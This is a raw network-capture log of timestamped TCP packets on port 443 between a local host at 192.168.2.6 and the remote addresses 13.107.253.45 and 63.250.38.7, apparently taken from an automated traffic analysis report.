Oct 23, 2024 21:04:23.858575106 CEST	443	49856	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.859291077 CEST	49856	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.859306097 CEST	443	49856	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.865811110 CEST	443	49855	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.866154909 CEST	49855	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.866168022 CEST	443	49855	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.866545916 CEST	49855	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.866550922 CEST	443	49855	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.867593050 CEST	443	49853	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.867753983 CEST	443	49853	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.867847919 CEST	49853	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.867892027 CEST	49853	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.867902994 CEST	443	49853	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.867922068 CEST	49853	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.867927074 CEST	443	49853	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.870743036 CEST	49858	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.870769978 CEST	443	49858	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.870836020 CEST	49858	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.870999098 CEST	49858	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.871012926 CEST	443	49858	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.880781889 CEST	443	49852	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.880951881 CEST	443	49852	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.881025076 CEST	49852	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.881026030 CEST	49852	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.881069899 CEST	49852	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.881081104 CEST	443	49852	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.883332968 CEST	49859	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.883354902 CEST	443	49859	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.883522034 CEST	49859	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.883522034 CEST	49859	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.883543015 CEST	443	49859	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.995604038 CEST	443	49856	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.995678902 CEST	443	49856	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.995805979 CEST	443	49856	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.995815992 CEST	49856	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.995894909 CEST	49856	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.996124029 CEST	49856	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.996124029 CEST	49856	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.996130943 CEST	443	49856	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.996140003 CEST	443	49856	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.998816013 CEST	49860	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.998841047 CEST	443	49860	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.999008894 CEST	49860	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.999185085 CEST	49860	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.999197960 CEST	443	49860	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.002418041 CEST	443	49855	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.002589941 CEST	443	49855	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.002643108 CEST	49855	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.002681017 CEST	49855	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.002681017 CEST	49855	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.002686024 CEST	443	49855	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.002692938 CEST	443	49855	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.004703045 CEST	49861	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.004730940 CEST	443	49861	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.004842997 CEST	49861	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.004961014 CEST	49861	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.004975080 CEST	443	49861	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.088041067 CEST	443	49857	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.088522911 CEST	49857	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.088541031 CEST	443	49857	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.088967085 CEST	49857	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.088973045 CEST	443	49857	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.182286024 CEST	443	49854	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:24.182460070 CEST	443	49854	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:24.182809114 CEST	49854	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:24.184613943 CEST	49854	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:24.184622049 CEST	443	49854	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:24.223967075 CEST	443	49857	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.224522114 CEST	443	49857	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.224596977 CEST	49857	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.224637985 CEST	49857	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.224651098 CEST	443	49857	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.227050066 CEST	49862	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.227067947 CEST	443	49862	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.227179050 CEST	49862	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.227365017 CEST	49862	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.227376938 CEST	443	49862	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.625485897 CEST	443	49858	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.635507107 CEST	443	49859	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.676166058 CEST	49858	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.691857100 CEST	49859	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.759565115 CEST	443	49860	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.765633106 CEST	443	49861	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.801191092 CEST	49860	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.816792011 CEST	49861	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.872296095 CEST	49861	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.872306108 CEST	443	49861	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.873066902 CEST	49861	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.873071909 CEST	443	49861	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.873725891 CEST	49858	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.873753071 CEST	443	49858	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.874504089 CEST	49858	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.874511957 CEST	443	49858	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.874937057 CEST	49859	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.874950886 CEST	443	49859	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.875632048 CEST	49859	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.875637054 CEST	443	49859	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.876220942 CEST	49860	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.876226902 CEST	443	49860	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.877362013 CEST	49860	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.877367973 CEST	443	49860	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.974356890 CEST	443	49862	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.980737925 CEST	49862	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.980743885 CEST	443	49862	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:24.981602907 CEST	49862	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:24.981610060 CEST	443	49862	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.007091999 CEST	443	49858	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.007092953 CEST	443	49861	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.007189035 CEST	443	49858	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.007245064 CEST	443	49858	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.007256031 CEST	443	49861	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.007265091 CEST	49858	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.007316113 CEST	49858	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.007334948 CEST	49861	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.008162975 CEST	49858	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.008178949 CEST	443	49858	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.008203983 CEST	443	49859	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.008215904 CEST	49858	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.008224010 CEST	443	49858	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.008274078 CEST	49861	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.008299112 CEST	443	49861	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.008311987 CEST	443	49859	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.008379936 CEST	49859	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.008577108 CEST	49859	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.008577108 CEST	49859	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.008593082 CEST	443	49859	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.008601904 CEST	443	49859	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.012280941 CEST	443	49860	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.012715101 CEST	443	49860	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.012911081 CEST	49860	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.013134003 CEST	49860	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.013134003 CEST	49860	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.013148069 CEST	443	49860	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.013163090 CEST	443	49860	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.023226023 CEST	49863	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.023262024 CEST	443	49863	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.023389101 CEST	49863	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.025449991 CEST	49864	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.025551081 CEST	443	49864	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.025633097 CEST	49864	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.026525021 CEST	49865	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.026554108 CEST	443	49865	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.026611090 CEST	49865	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.026748896 CEST	49865	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.026762962 CEST	443	49865	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.027122974 CEST	49863	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.027138948 CEST	443	49863	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.028783083 CEST	49866	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.028806925 CEST	443	49866	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.028886080 CEST	49866	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.028997898 CEST	49864	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.029033899 CEST	443	49864	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.029225111 CEST	49866	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.029252052 CEST	443	49866	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.112282991 CEST	443	49862	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.112370968 CEST	443	49862	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.112412930 CEST	443	49862	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.112473011 CEST	49862	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.113008976 CEST	49862	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.113018990 CEST	443	49862	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.113029957 CEST	49862	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.113034964 CEST	443	49862	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.116575956 CEST	49867	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.116609097 CEST	443	49867	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.116837978 CEST	49867	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.117074966 CEST	49867	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.117086887 CEST	443	49867	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.937298059 CEST	443	49863	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.949991941 CEST	443	49865	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.954031944 CEST	443	49864	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.954791069 CEST	443	49866	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.968252897 CEST	443	49867	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:25.980804920 CEST	49863	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:25.995970011 CEST	49865	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.011425972 CEST	49867	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.011440992 CEST	443	49867	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.011970997 CEST	49864	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.012126923 CEST	49866	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.034679890 CEST	49867	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.034693956 CEST	443	49867	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.035794973 CEST	49866	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.035813093 CEST	443	49866	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.036461115 CEST	49866	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.036468029 CEST	443	49866	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.037677050 CEST	49863	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.037683964 CEST	443	49863	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.038157940 CEST	49863	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.038165092 CEST	443	49863	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.071233988 CEST	49865	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.071247101 CEST	443	49865	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.081389904 CEST	49865	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.081398010 CEST	443	49865	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.084980011 CEST	49864	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.084991932 CEST	443	49864	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.086184978 CEST	49864	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.086188078 CEST	443	49864	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.168215990 CEST	443	49867	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.168905020 CEST	443	49867	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.168979883 CEST	49867	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.169354916 CEST	443	49863	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.169974089 CEST	443	49863	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.171336889 CEST	49863	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.173001051 CEST	49867	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.173027992 CEST	443	49867	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.173044920 CEST	49867	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.173053980 CEST	443	49867	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.173367977 CEST	443	49866	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.173398972 CEST	443	49866	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.173523903 CEST	443	49866	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.173520088 CEST	49866	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.173590899 CEST	49866	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.174304008 CEST	49863	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.174304008 CEST	49863	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.174319983 CEST	443	49863	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.174329042 CEST	443	49863	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.177701950 CEST	49866	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.177701950 CEST	49866	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.177755117 CEST	443	49866	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.177797079 CEST	443	49866	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.184658051 CEST	49868	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.184714079 CEST	443	49868	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.184778929 CEST	49868	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.186633110 CEST	49869	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.186662912 CEST	443	49869	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.186713934 CEST	49869	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.187864065 CEST	49868	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.187884092 CEST	443	49868	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.188867092 CEST	49869	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.188877106 CEST	443	49869	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.190660000 CEST	49870	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.190682888 CEST	443	49870	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.190952063 CEST	49870	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.192101002 CEST	49870	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.192116022 CEST	443	49870	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.214565039 CEST	443	49865	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.214731932 CEST	443	49865	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.214884996 CEST	49865	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.217163086 CEST	49865	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.217180967 CEST	443	49865	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.217196941 CEST	49865	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.217202902 CEST	443	49865	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.219854116 CEST	443	49864	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.220134020 CEST	443	49864	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.220184088 CEST	49864	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.220951080 CEST	49864	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.220964909 CEST	443	49864	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.221013069 CEST	49864	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.221019030 CEST	443	49864	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.225389957 CEST	49871	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.225423098 CEST	443	49871	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.225558996 CEST	49871	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.227278948 CEST	49872	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.227330923 CEST	443	49872	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.227552891 CEST	49872	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.257105112 CEST	49871	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.257147074 CEST	443	49871	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.257289886 CEST	49872	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.257313967 CEST	443	49872	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.958009958 CEST	443	49870	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.958050013 CEST	443	49868	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.958550930 CEST	49870	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.958574057 CEST	443	49870	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.958676100 CEST	49868	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.958689928 CEST	443	49868	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.959100962 CEST	49870	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.959112883 CEST	443	49870	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.959194899 CEST	49868	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.959203959 CEST	443	49868	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.962562084 CEST	443	49869	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.962961912 CEST	49869	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.963002920 CEST	443	49869	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:26.963347912 CEST	49869	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:26.963361025 CEST	443	49869	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.024563074 CEST	443	49872	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.025089979 CEST	49872	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.025111914 CEST	443	49872	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.025605917 CEST	49872	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.025610924 CEST	443	49872	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.027733088 CEST	443	49871	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.028153896 CEST	49871	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.028171062 CEST	443	49871	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.028709888 CEST	49871	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.028721094 CEST	443	49871	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.094331980 CEST	443	49868	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.094510078 CEST	443	49868	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.094671011 CEST	49868	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.094774961 CEST	49868	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.094810963 CEST	443	49868	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.094841003 CEST	49868	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.094856977 CEST	443	49868	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.094913006 CEST	443	49870	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.094985008 CEST	443	49870	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.095024109 CEST	443	49870	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.095082998 CEST	49870	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.095216036 CEST	49870	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.095216036 CEST	49870	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.095232010 CEST	443	49870	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.095253944 CEST	443	49870	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.098763943 CEST	49873	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.098824978 CEST	443	49873	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.098928928 CEST	49873	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.099087954 CEST	49873	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.099117994 CEST	443	49873	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.099370956 CEST	49874	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.099395990 CEST	443	49874	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.099462986 CEST	49874	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.099632025 CEST	49874	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.099647045 CEST	443	49874	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.100739956 CEST	443	49869	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.101274014 CEST	443	49869	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.101358891 CEST	49869	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.101438046 CEST	49869	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.101478100 CEST	443	49869	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.101505995 CEST	49869	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.101521969 CEST	443	49869	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.103965998 CEST	49875	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.103992939 CEST	443	49875	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.104129076 CEST	49875	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.104305983 CEST	49875	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.104332924 CEST	443	49875	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.161247969 CEST	443	49872	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.161762953 CEST	443	49872	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.161854982 CEST	49872	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.161854982 CEST	49872	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.161878109 CEST	49872	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.161886930 CEST	443	49872	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.165138006 CEST	49876	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.165184021 CEST	443	49876	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.165241003 CEST	443	49871	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.165321112 CEST	49876	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.165400982 CEST	443	49871	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.165467024 CEST	49871	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.165548086 CEST	49871	443	192.168.2.6	13.107.253.45
